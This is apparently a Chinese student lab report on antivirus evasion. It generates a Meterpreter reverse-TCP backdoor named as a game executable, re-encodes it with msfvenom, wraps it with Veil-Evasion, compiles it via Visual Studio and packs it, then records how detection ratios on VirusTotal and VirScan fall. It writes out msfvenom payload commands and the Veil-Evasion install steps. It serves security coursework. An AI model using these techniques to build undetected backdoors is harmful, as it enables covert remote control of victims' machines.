Exp3 MAL_免杀原理与实践
本次实验操使用Virustotal，VirScan作为测试平台，尝试通过Veil-Evasion重新，交叉编译，加壳等方式逃过杀软检测。
目录
实验内容
实验环境 Kali linux 64bit（虚拟机）
实验工具Virustotal，VirScan，Visual Studio
对msf生成后门程序的检测
Virustotal测试Ⅰ
由上图可见，
File Name: Hearthstone_backdoor.exe
Detection Ratio: 21/66
报毒率比想象中低了一些，不过依旧是被主流杀软报毒了。
Visscan测试Ⅰ
行为描述:
建立到一个指定的套接字连接
详情信息:
IP: **.168.233.**:4444, SOCKET = 0x000000c4
行为描述:
修改注册表
删除注册表键值
删除注册表键
基本上查出了后台的反弹端口特征。
n次编码影响测试
n = 8时，如图示Visscan给出警告，但没有文件行为分析！
VirusTotal分析结果:
File Name: Hearthstone_backdoor_encoded8.exe
Detection Ratio: 19/66
Veil-Evasion应用
++安装方法见知识点++
Language: powershell
Payload: powershell/meterpreter/rev_tcp
Required Options: LHOST=192.168.xxx.xxx LPORT=4444
可以看到Veil-Evasion提供不同的编程语言以及payload对后门进行封装。
Rating: c/python = Excellent ruby/go = normal
Description: pure windows/meterpreter/reverse_tcp stager, no
shellcode
Virscan测试
- ruby
Rating: 3/39
//效果客观
- powershell
大兄弟还没测试就被电脑管家查出来了……
Rating: 5/39
Visual Studio2017 + shellcode生成后门
root@Kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.xxx.xxx LPORT=xxx -f c
运行结果——成功√
Windows Defender + 电脑管家 无报毒
Rating: 5/39
shellcode进化
root@Kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai x86/bloxer -i 12 LHOST=192.168.119.130 LPORT=443 -f c
//尝试两种编码 + 重编12次
实测连接成功√
- virscan测试 效果极佳
Rating: 2/39
主要思路
知识点
Kali下安装Veil-Evasion
//安装git：
sudo apt-get -y install git
//git命令行下载Veil Evasion：
git clone https://github.com/Veil-Framework/Veil-Evasion.git
//把它移动到opt目录下（可选）：
mv Veil-Evasion /opt
//进入Veil Evasion所在目录：
cd /opt/Veil-Evasion/
//启动setup脚本开始安装：
bash setup/setup.sh -s
最后的进化--加壳
压缩后，文件由17.5MB压缩至11.7MB
Rating: 4/39
效果惊人，怪不得冰河用的ASPack压缩。
Rating: 12/39
- 事实证明，加壳软件起了反作用…
- 大部分AV应该都增加了壳检测（凉
启发
本次实验给我的启发是，网络环境并没有想象中那么安全，杀软的检测并没有想象的完备。